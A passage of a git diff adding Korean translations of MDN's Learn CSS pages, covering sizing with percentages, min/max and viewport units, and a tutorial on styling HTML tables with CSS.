+<p>이 overflow 문제로 인해, 요소의 높이를 길이 또는 백분율로 고정하는 것은 웹에서 매우 신중하게 수행해야 하는 작업입니다.</p>
+
+<h3 id="백분율_사용하기">백분율 사용하기</h3>
+
+<p>여러 방법으로 백분율은 길이 단위처럼 작동하며, <a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units#Percentages">값과 단위에 대한 수업에서 논의한 것처럼</a>, 종종 길이와 상호 교환적으로 사용될 수 있습니다. 백분율을 사용하는 경우 백분율이 <strong><em>얼마인지</em></strong>  알고 있어야 합니다. 다른 container 안에 있는 박스의 경우 자식 박스에 백분율 너비를 지정하면, 부모 container 너비의 백분율이 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-width.html", '100%', 600)}}</p>
+
+<p>백분율을 포함하는 블록의 크기에 대해 결정되기 때문입니다. 백분율이 적용되지 않으면 <code>&lt;div&gt;</code> 는 블록 레벨 요소이므로 사용가능한 공간의 100% 를 차지합니다. 너비를 백분율로 지정하면, 일반적으로 채워지는 공간의 백분율이 됩니다.</p>
+
+<h3 id="백분율_마진_및_패딩">백분율 마진 및 패딩</h3>
+
+<p><code>margins</code> 과 <code>padding</code> 을 백분율로 설정하면 이상한 동작이 나타날 수 있습니다. 아래 예제에는 박스가 있습니다. 내부 박스에 {{cssxref("margin")}} 을 10% 로, {{cssxref("padding")}} 을 10% 로 지정했습니다. 박스 상단과 하단의 패딩과 마진은 왼쪽과 오른쪽의 마진과 크기가 같습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/percent-mp.html", '100%', 700)}}</p>
+
+<p>예를 들어 상단 및 하단 마진 백분율이 요소 높이의 백분율이고, 왼쪽 및 오른쪽 마진 백분율이 요소 너비의 백분율일 것으로 예상할 수 있습니다. 그러나, 이것은 사실이 아닙니다!</p>
+
+<p>백분율로 마진 및 패딩을 사용하는 경우, 값은 <strong>인라인 크기 (inline size) </strong>에서 계산되므로 — horizontal 언어로 작업할 때의 너비입니다. 이 예에서 모든 마진과 패딩은 너비의 10% 입니다. 즉, 박스 전체에 같은 크기의 마진과 패딩을 둘 수 있습니다. 이 방법으로 백분율을 사용하면 기억할 가치가 있습니다.</p>
+
+<h2 id="min-_및_max-_크기">min- 및 max- 크기</h2>
+
+<p>고정된 크기를 주는 것 외에도, CSS 에 요소에 최소 또는 최대 크기를 제공하도록 요청할 수 있습니다. 가변적인 양의 내용을 포함할 수 있는 박스가 있고, <strong><em>항상</em></strong>  특정 높이 이상이 되도록 하려면, {{cssxref("min-height")}} 속성을 설정할 수 있습니다. 박스는 항상 이 높이 이상이지만, 박스의 최소 높이에 대한 공간보다 더 많은 내용이 있으면 키가 더 커집니다.</p>
+
+<p>아래 예에서 정의된 높이가 150 픽셀인 두 개의 박스를 볼 수 있습니다. 왼쪽의 박스는 키가 150 픽셀입니다; 오른쪽의 상자에는 더 많은 공간이 필요한 내용이 있으므로, 최소 150 픽셀 이상으로 키가 커졌습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/min-height.html", '100%', 800)}}</p>
+
+<p>이는 overflow 를 피하면서 가변적인 양의 콘텐츠를 처리할 때 매우 유용합니다.</p>
+
+<p>{{cssxref("max-width")}} 의 일반적인 용도는 이미지를 원래 너비로 표시할 공간이 충분하지 않으면 이미지의 크기를 줄이면서, 해당 너비보다 크게되지 않도록 하는것입니다.</p>
+
+<p>예를 들어, 이미지에서 <code>width: 100%</code> 를 설정하고 이미지의 고유 (intrinsic) 너비가 container 보다 작으면, 이미지가 강제로 늘어나고 커져 픽셀화되어 나타납니다. 고유 너비가 container 보다 크면 overflow 됩니다. 두 경우 모두 여러분이 원하는 것이 아닙니다.</p>
+
+<p><code>max-width: 100%</code> 를 대신 사용하면, 이미지가 고유 크기보다 작아질 수 있지만, 크기의 100% 에서 멈춥니다.</p>
+
+<p>아래 예에서는 동일한 이미지를 두 번 사용했습니다. 첫 번째 이미지에는 <code>width: 100%</code> 로 주어졌으며, 그보다 큰 container 에 있으므로 container 너비로 늘어납니다. 두 번째 이미지에는 <code>max-width: 100%</code> 로 설정되어 있으므로 container 를 채우기 위해 늘어나지 않습니다. 세 번째 박스에는 동일한 이미지가 다시 포함되며, <code>max-width: 100%</code> 로 설정됩니다; 이 경우 박스에 맞게 크기가 어떻게 축소되었는지 확인할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/max-width.html", '100%', 800)}}</p>
+
+<p>이 기술은 이미지를 반응형으로 만드는 데 사용되므로 더 작은 장치에서 볼 때 이미지가 적절하게 축소됩니다. 그러나 이 기술을 사용하여 실제로 큰 이미지를 로드한 다음 브라우저에서 축소하면 안됩니다. 이미지는 디자인에 표시되는 가장 큰 크기보다 커야합니다. 지나치게 큰 이미지를 다운로드하면, 사이트 속도가 느려질 수 있으며, 데이터 요금제인 경우 더 많은 비용이 발생할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">반응형 이미지 기술</a> 에 대해 자세히 알아보십시오.</p>
+</div>
+
+<h2 id="Viewport_단위">Viewport 단위</h2>
+
+<p>Viewport — 사이트를 보는 데 사용하는 브라우저에서 페이지의 가시 영역 — 또한 크기가 있습니다. CSS 에는 viewport 의 크기와 관련된 단위가 있습니다 — viewport 너비의 경우 <code>vw</code> 단위, viewport 높이의 경우 <code>vh</code>. 이 단위를 사용하면 사용자의 viewport 에 상대적인 크기를 지정할 수 있습니다.</p>
+
+<p><code>1vh</code> 는 viewport 높이의 1% 와 같고, <code>1vw</code> 는 viewport 너비의 1% 와 같습니다. 이 단위를 사용하여 박스 크기 뿐만 아니라, 텍스트도 조정할 수 있습니다. 아래 예에서는 20vh 및 20vw 크기의 박스가 있습니다. 박스에는 문자 <code>A</code> 가 포함되어 있으며 {{cssxref("font-size")}} 에 10vh 가 지정되었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/vw-vh.html", '100%', 600)}}</p>
+
+<p><strong> <code>vh</code> 및 <code>vw</code> 값을 변경하면 박스 또는 글꼴의 크기가 변경됩니다; viewport 크기를 변경하면 viewport 를 기준으로 크기가 조정되므로 크기도 변경됩니다. viewport 크기를 변경할 때 예제 변경 사항을 보려면 크기를 조정할 수 있는 새 브라우저 창에 예제를 로드해야 합니다 (위에 표시된 예제가 포함된 <code>&lt;iframe&gt;</code> 이 viewport 임). <a href="https://mdn.github.io/css-examples/learn/sizing/vw-vh.html">예제를 열고</a>, 브라우저 창의 크기를 조정한 후 박스와 텍스트의 크기에 어떤 영향이 있는지 관찰하십시오.</strong></p>
+
+<p>viewport 에 따라 크기를 조정하면 디자인에 유용할 수 있습니다. 예를 들어, 전체 콘텐츠 페이지 섹셩을 콘텐츠의 나머지 부분보다 먼저 표시하려면, 페이지의 해당 부분을 100vh 높이로 설정하면 나머지 콘텐츠가 viewport 아래로 밀려서 문서가 스크롤 된 후에만 표시됩니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이번 수업에서는 웹에서 크기를 조정할 때 발생할 수 있는 몇 가지 주요 문제에 대해 설명합니다. <a href="/en-US/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a> 으로 이동할 때, 크기 조정은 다양한 레이아웃 방법을 익히는 데 매우 중요하므로 계속 진행하기 전에 여기에서 개념을 이해하는 것이 좋습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/styling_tables/index.html b/files/ko/learn/css/building_blocks/styling_tables/index.html
new file mode 100644
index 0000000000..fb497ebfe2
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/styling_tables/index.html
@@ -0,0 +1,308 @@
+---
+title: 표 스타일링
+slug: Learn/CSS/Building_blocks/Styling_tables
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</div>
+
+<p class="summary"></p>
+
+<p class="summary">HTML 표 스타일링은 세계에서 가장 매력적인 일이 아니지만, 때로는 우리 모두가 해야할 일입니다. 이 기사에서는 특정 표 스타일링 기술을 강조 표시하여 HTML 표를 보기좋게 만드는 방법에 대한 안내서를 제공합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습), <a href="/en-US/docs/Learn/HTML/Tables">HTML 표</a> 에 대한 지식 및 CSS 작동 방식에 대한 이해 (CSS 첫 번째 단계 학습.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>HTML 표를 효과적으로 스타일링하는 방법 배우기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="전형적인_HTML_표">전형적인 HTML 표</h2>
+
+<p>전형적인 HTML 표를 살펴 봅시다. 글쎄요, 일반적인 표의 예들은 — 신발, 날씨 또는 직원들에 관한 것입니다; 우리는 영국의 유명한 펑크 밴드에 관한것을 만들어서 더 흥미롭게 만들기로 결정했습니다. 코드는 다음과 같습니다:</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;A summary of the UK's most famous punk bands&lt;/caption&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th scope="col"&gt;Band&lt;/th&gt;
+      &lt;th scope="col"&gt;Year formed&lt;/th&gt;
+      &lt;th scope="col"&gt;No. of Albums&lt;/th&gt;
+      &lt;th scope="col"&gt;Most famous song&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;Buzzcocks&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;9&lt;/td&gt;
+      &lt;td&gt;Ever fallen in love (with someone you shouldn't've)&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Clash&lt;/th&gt;
+      &lt;td&gt;1976&lt;/td&gt;
+      &lt;td&gt;6&lt;/td&gt;
+      &lt;td&gt;London Calling&lt;/td&gt;
+    &lt;/tr&gt;
+
+      ... some rows removed for brevity
+
+    &lt;tr&gt;
+      &lt;th scope="row"&gt;The Stranglers&lt;/th&gt;
+      &lt;td&gt;1974&lt;/td&gt;
+      &lt;td&gt;17&lt;/td&gt;
+      &lt;td&gt;No More Heroes&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+  &lt;tfoot&gt;
+    &lt;tr&gt;
+      &lt;th scope="row" colspan="2"&gt;Total albums&lt;/th&gt;
+      &lt;td colspan="2"&gt;77&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tfoot&gt;
+&lt;/table&gt;</pre>
+
+<p>{{htmlattrxref("scope","th")}}, {{htmlelement("caption")}}, {{htmlelement("thead")}}, {{htmlelement("tbody")}} 등의 기능 덕분에 표가 잘 표시되고 쉽게 스타일링되며 액세스할 수 있습니다. 불행히도 화면에 렌더링할 때는 좋지 않습니다 (<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html">punk-bands-unstyled.html</a> 에서 라이브 참조):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13064/table-unstyled.png" style="display: block; margin: 0 auto;"></p>
+
+<p>기본 브라우저 스타일만 사용하면, 비좁고 읽기 어려우며 지루해 보입니다. 이 문제를 해결하려면 CSS 를 사용해야 합니다.</p>
+
+<h2 id="우리의_표_스타일링">우리의 표 스타일링</h2>
+
+<p>표 예제를 함께 스타일링 해 봅시다.</p>
+
+<ol>
+ <li>시작하려면, <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-unstyled.html">sample markup</a> 의 로컬 사본을 만들고 두 이미지 (<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/noise.png">노이즈</a> 및 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/leopardskin.jpg">표범가죽</a>) 를 모두 다운로드한 다음, 세 개의 결과 파일을 로컬 컴퓨터의 작업 디렉토리에 넣습니다.</li>
+ <li>다음으로, <code>style.css</code> 라는 새 파일을 만들고 다른 파일과 같은 디렉토리에 저장하십시오.</li>
+ <li>{{htmlelement("head")}} 안에 다음 HTML 행을 배치하여 CSS 를 HTML 에 연결하십시오:
+  <pre class="brush: html">&lt;link href="style.css" rel="stylesheet" type="text/css"&gt;</pre>
+ </li>
+</ol>
+
+<h3 id="간격_및_레이아웃">간격 및 레이아웃</h3>
+
+<p>가장 먼저 해야할 일은 간격/레이아웃을 정렬하는 것입니다 — 기본 표 스타일은 너무 비좁습니다! 이렇게 하려면, <code>style.css</code> 파일에 다음 CSS 를 추가하십시오:</p>
+
+<pre class="brush: css">/* 간격 */
+
+table {
+  table-layout: fixed;
+  width: 100%;
+  border-collapse: collapse;
+  border: 3px solid purple;
+}
+
+thead th:nth-child(1) {
+  width: 30%;
+}
+
+thead th:nth-child(2) {
+  width: 20%;
+}
+
+thead th:nth-child(3) {
+  width: 15%;
+}
+
+thead th:nth-child(4) {
+  width: 35%;
+}
+
+th, td {
+  padding: 20px;
+}</pre>
+
+<p>가장 중요한 부분은 다음과 같습니다:</p>
+
+<ul>
+ <li><code>fixed</code> 의 {{cssxref("table-layout")}} 값은 일반적으로 표가 기본적으로 좀 더 예측 가능하게 작동하므로 표에 설정하는 것이 좋습니다. 일반적으로, 표의 열은 내용의 양에 따라 크기가 정해지는 경향이 있으며, 그 결과 이상한 결과가 발생합니다. <code>table-layout: fixed</code> 를 사용하면 제목의 너비에 따라 열의 크기를 지정한 다음 내용을 적절하게 처리할 수 있습니다. 이것이 우리가 <code>thead th:nth-child(<em>n</em>)</code> ({{cssxref(":nth-child")}}) 선택자 ("{{htmlelement("thead")}} 요소 내에서 {{htmlelement("th")}} 요소인 <em>n번째</em> 자식 요소{{htmlelement("thead")}} 를 순서대로 선택합니다") 요소를 설정하고 백분율 너비를 설정했습니다. 전체 열 너비는 제목 너비를 따르므로, 표 열의 크기를 정할 수 있습니다. Chris Coyier 는 이 기술에 대해 <a href="https://css-tricks.com/fixing-tables-long-strings/">고정 표 레이아웃</a> 에서 자세히 설명합니다.<br>
+  <br>
+  이를 {{cssxref("width")}} 와 100% 결합했습니다. 즉, 표에 넣은 container 를 표에 채우고 반응성이 뛰어납니다 (아직 더 많은 작업이 필요하지만 좁은 화면 너비에서 잘 보임).</li>
+ <li><code>collapse</code> 의 {{cssxref("border-collapse")}} 값은 모든 표 스타일 작업에 대한 표준 모범 사례입니다. 기본적으로, 표 요소에 테두리를 설정하면, 아래 이미지와 같이 테두리 사이에 간격이 있습니다: <img alt="" src="https://mdn.mozillademos.org/files/13068/no-border-collapse.png" style="display: block; margin: 0 auto;">이것은 매우 멋지게 보이지 않습니다 (원하는 모양일 수 있는지, 누가 알겠습니까?) <code>border-collapse: collapse;</code>  로 설정하면 테두리가 하나로 축소되어 훨씬 좋아 보입니다: <img alt="" src="https://mdn.mozillademos.org/files/13066/border-collapse.png" style="display: block; margin: 0 auto;"></li>
+ <li>우리는 전체 표 주위에 {{cssxref("border")}} 를 넣었습니다. 나중에 표 머리글과 바닥글에 테두리를 씌울 것입니다 — 표 바깥쪽에 테두리가 없고 틈새가 생기면 정말 이상하게 보입니다.</li>
+ <li>{{htmlelement("th")}} 및 {{htmlelement("td")}} 요소에 {{cssxref("padding")}} 을 설정했습니다 — 이렇게 하면 데이터 항목에 숨을 공간이 생깁니다. 표를 훨씬 읽기 쉽게 보이게합니다.</li>
+</ul>
+
+<p>이 시점에서, 우리 표는 이미 훨씬 좋아보입니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13070/table-with-spacing.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="간단한_typography">간단한 typography</h3>
+
+<p>이제 텍스트를 약간 정리해 보겠습니다.</p>
+
+<p>우선, <a href="https://www.google.com/fonts">Google Fonts</a> 에서 펑크 밴드 관련 표에 적합한 글꼴을 찾았습니다. 원하는 경우 거기에 가서 다른 것을 찾을 수 있습니다. 제공된 {{htmlelement("link")}} 요소 및 custom {{cssxref("font-family")}} 선언을 Google Fonts 에서 제공하는 선언으로 바꾸면 됩니다.</p>
+
+<p>먼저, 다음 {{htmlelement("link")}} 요소를 기존 <code>&lt;link&gt;</code> 요소 바로 위의 HTML head 에 추가하십시오:</p>
+
+<pre class="brush: html">&lt;link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'&gt;</pre>
+
+<p>이제 이전 CSS 아래의 <code>style.css</code> 파일에, 다음 CSS 를 추가하십시오:</p>
+
+<pre class="brush: css">/* typography */
+
+html {
+  font-family: 'helvetica neue', helvetica, arial, sans-serif;
+}
+
+thead th, tfoot th {
+  font-family: 'Rock Salt', cursive;
+}
+
+th {
+  letter-spacing: 2px;
+}
+
+td {
+  letter-spacing: 1px;
+}
+
+tbody td {
+  text-align: center;
+}
+
+tfoot th {
+  text-align: right;
+}</pre>
+
+<p>여기에서는 표에 특별한 것은 없습니다. 우리는 일반적으로 쉽게 읽을 수 있도록 글꼴 스타일을 조정합니다:</p>
+
+<ul>
+ <li>전역 sans-serif 글꼴 스택을 설정했습니다; 이것은 순전히 문체 선택입니다. 또한 {{htmlelement("thead")}} 및 {{htmlelement("tfoot")}} 요소의 제목에 맞춤 글꼴을 설정하여 멋지고 펑키한 모양을 만들었습니다.</li>
+ <li>가독성을 높이기 위해 제목과 셀에 {{cssxref("letter-spacing")}} 을 설정했습니다. 다시 말하지만, 주로 스타일 선택입니다.</li>
+ <li>{{htmlelement("tbody")}} 내부의 표 셀에서 텍스트를 가운데 정렬하여 제목과 일치하도록 했습니다. 기본적으로, 셀에는 {{cssxref("text-align")}} 에 <code>left</code> 값이 제공되고, 머리글에는 <code>center</code> 값이 제공되지만 둘 다에 대해 정렬을 동일하게 설정하는것이 좋습니다. 제목 글꼴의 기본 굵은체는 모양을 구별하기에 충분합니다.</li>
+ <li>데이터와 시작적으로 더 잘 연결되도록 {{htmlelement("tfoot")}} 내부에서 제목을 오른쪽 정렬했습니다.</li>
+</ul>
+
+<p>결과는 조금 깔끔해 보입니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13072/table-with-typography.png" style="display: block; margin: 0 auto;"></p>
+
+<h3 id="그래픽_과_색상">그래픽 과 색상</h3>
+
+<p>이제 그래픽과 색상으로 넘어가겠습니다! 표에는 punk and attitude 가 가득하기 때문에, 밝은 인상적인 스타일링을 제공해야합니다. 걱정하지 마십시오. 표를 크게 만들 필요는 없습니다 — 더 미묘하고 세련된 것을 선택할 수 있습니다.</p>
+
+<p>아래에서 다시 CSS 를 <code>style.css</code> 파일에 추가하고, 다시 시작하십시오:</p>
+
+<pre class="brush: css">thead, tfoot {
+  background: url(leopardskin.jpg);
+  color: white;
+  text-shadow: 1px 1px 1px black;
+}
+
+thead th, tfoot th, tfoot td {
+  background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5));
+  border: 3px solid purple;
+}
+</pre>
+
+<p>다시 말하지만, 여기에는 표에만 해당되는 것이 없지만, 몇 가지 주목할 가치가 있습니다.</p>
+
+<p>{{htmlelement("thead")}} 및 {{htmlelement("tfoot")}} 에 {{cssxref("background-image")}} 를 추가하고, 머리글과 바닥글에 있는 모든 텍스트의 {{cssxref("color")}} 를 흰색으로 (텍스트에 그림자 추가) 변경하여 읽기 쉽게 했습니다. 텍스트가 배경과 잘 대비되도록 해야합니다. 그래야 잘 읽을 수 있습니다.</p>
+
+<p>또한 머리글과 바닥글 내부의 {{htmlelement("th")}} 및 {{htmlelement("td")}} 요소에 선형 그라데이션을 추가하여 약간의 질감을 개선하오, 밝은 보라색 테두리를 부여했습니다. 중첩된 요소를 여러 개의 중첩된 요소를 사용하여 스타일을 서로 겹칠 수 있는 것이 유용합니다.  예, 여러 배경 이미지를 사용하여 {{htmlelement("thead")}} 및 {{htmlelement("tfoot")}} 요소에 배경 이미지와 선형 그라데이션을 모두 넣을 수는 있지만, 별도로 결정했습니다. 여러 배경 이미지 또는 선형 그라데이션을 지원하지 않는 구형 브라우저의 이점을 위해서입니다.</p>
+
+<h4 id="얼룩말_줄무늬_Zebra_striping">얼룩말 줄무늬 (Zebra striping)</h4>
+
+<p>우리는 표의 다른 데이터 행을 더 쉽게 구문 분석하고 읽을 수 있도록 번갈아 가며 <strong>zebra stripes </strong>를 구현하는 방법을 보여주기 위해 별도의 섹션을 제공하고자 했습니다. <code>style.css</code> 파일의 맨 아래에 다름 CSS 를 추가하십시오:</p>
+
+<pre class="brush: css">tbody tr:nth-child(odd) {
+  background-color: #ff33cc;
+}
+
+tbody tr:nth-child(even) {
+  background-color: #e495e4;
+}
+
+tbody tr {
+  background-image: url(noise.png);
+}
+
+table {
+  background-color: #ff33cc;
+}</pre>
+
+<ul>
+ <li>이전에는 {{cssxref(":nth-child")}} 선택자가 특정 자식 요소를 선택하는 데 사용되는 것을 보았습니다. 수식을 매개 변수로 제공할 수도 있으므로 일련의 요소를 선택합니다. 수식 <code>2n-1</code> 은 홀수 번째 자식 (1, 3, 5 등) 을 모두 선택하고 수식 <code>2n</code> 은 짝수 번째 자식 (2, 4, 6 등) 을 모두 선택합니다. 코드의 <code>odd</code> 및 <code>even</code> 키워드 조차도 앞에서 언급한 공식과 정확히 동일한 기능을 수행합니다. 이 경우 홀수 및 짝수 행에 다른 색상 (선정적인 색상) 을 부여합니다.</li>
+ <li>또한 모든 본문 행에 반복적인 배경 타일을 추가하여, 약간의 노이즈 (약간 시각적 왜곡이 있는 반투명 <code>.png</code>) 를 사용하여 질감을 제공했습니다.</li>
+ <li>마지막으로, <code>:nth-child</code> 선택자를 지원하지 않는 브라우저는 여전히 본문 행의 배경을 갖도록 전체 표에 단색 배경색을 지정했습니다.</li>
+</ul>
+
+<p>이러한 색상은 다음과 같은 모양을 만듭니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13074/table-with-color.png" style="display: block; margin: 0 auto;"></p>
+
+<p>자, 이것은 여러분의 취향에 맞지 않을 수도 있습니다. 하지만 , 우리가 하려고하는 요점은 표가 지루하고 학문적일 필요는 없다는 것입니다.</p>
+
+<h3 id="caption_스타일링">caption 스타일링</h3>
+
+<p>표와 관련하여 마지막으로 해야할 일이 있습니다 — caption 에 스타일을 지정하는 일입니다. 이렇게 하려면, <code>style.css</code> 파일의 맨 아래에 다름을 추가하십시오:</p>
+
+<pre class="brush: css">caption {
+  font-family: 'Rock Salt', cursive;
+  padding: 20px;
+  font-style: italic;
+  caption-side: bottom;
+  color: #666;
+  text-align: right;
+  letter-spacing: 1px;
+}</pre>
+
+<p><code>bottom</code> 값을 가진 {{cssxref("caption-side")}} 속성을 제외하고는 여기서 주목할만한 것이 없습니다. 이로 인해 caption 이 표의 맨 아래에 배치되고 다른 선언과 함께 최종 모양을 얻을 수 있습니다 (<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a> 참조):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p>
+
+<h2 id="적극적인_학습_나만의_표_스타일">적극적인 학습: 나만의 표 스타일</h2>
+
+<p>이 시점에서 표 HTML 예제 (또는 일부를 사용하십시오!) 를 가져와서 표보다 훨씬 더 나은 디자인과 장식을 갖도록 스타일을 지정하고 싶습니다.</p>
+
+<h2 id="표_스타일링_빠르게_하는_팁">표 스타일링 빠르게 하는 팁</h2>
+
+<p>다음 단계로 넘어가지 전에, 위에서 설명한 가장 유용한 요점에 대한 간단한 목록을 제공해야 한다고 생각했습니다:</p>
+
+<ul>
+ <li>표 마크 업을 가능한 한 간단하게 만들고, 유연한 작업을 유지하십시오 예: 백분유을 사용하여 디자인의 반응속도를 향상시킵니다.</li>
+ <li>{{cssxref("table-layout")}}<code>: fixed</code> 를 사용하여 제목 ({{htmlelement("th")}}) 에서 {{cssxref("width")}} 를 설정하여 열 너비를 쉽게 설정할 수 있는 예측 가능한 표 레이아웃을 작성합니다.</li>
+ <li>{{cssxref("border-collapse")}}<code>: collapse</code> 를 사용하여 표 요소 테두리를 서로 접어서 깔끔하게 만들 수 있습니다.</li>
+ <li>{{htmlelement("thead")}}, {{htmlelement("tbody")}} 및 {{htmlelement("tfoot")}} 를 사용하여 표를 논리적 덩어리로 나누고 CSS 를 적용할 추가 위치를 제공하십시오. 필요한 경우 서로 위에 스타일을 더 쉽게 레이어할 수 있습니다.</li>
+ <li>alternative 행을 읽기 쉽게 하려면 얼룩말 줄무늬를 사용합니다.</li>
+ <li>{{cssxref("text-align")}} 을 사용하여 {{htmlelement("th")}} 및 {{htmlelement("td")}} 텍스트를 정렬하여, 더 깜끔하고 쉽게 따라할 수 있도록 하십시오.</li>
+</ul>
+
+<h2 id="요약">요약</h2>
+
+<p>지금 우리 뒤에 스타일링 표가 있기 때문에, 우리의 시간을 차지할 다른 것이 필요합니다. 다음 기사에서는 CSS 디버깅에 대해 살펴봅니다 — 레이아웃이 제대로 보이지 않거나 적용할 때 적용되지 않는 속성과 같은 문제를 해결하는 방법. 여기에는 브라우저 DevTools 를 사용하여 문제점에 대한 솔루션을 찾는 방법에 대한 정보가 포함됩니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
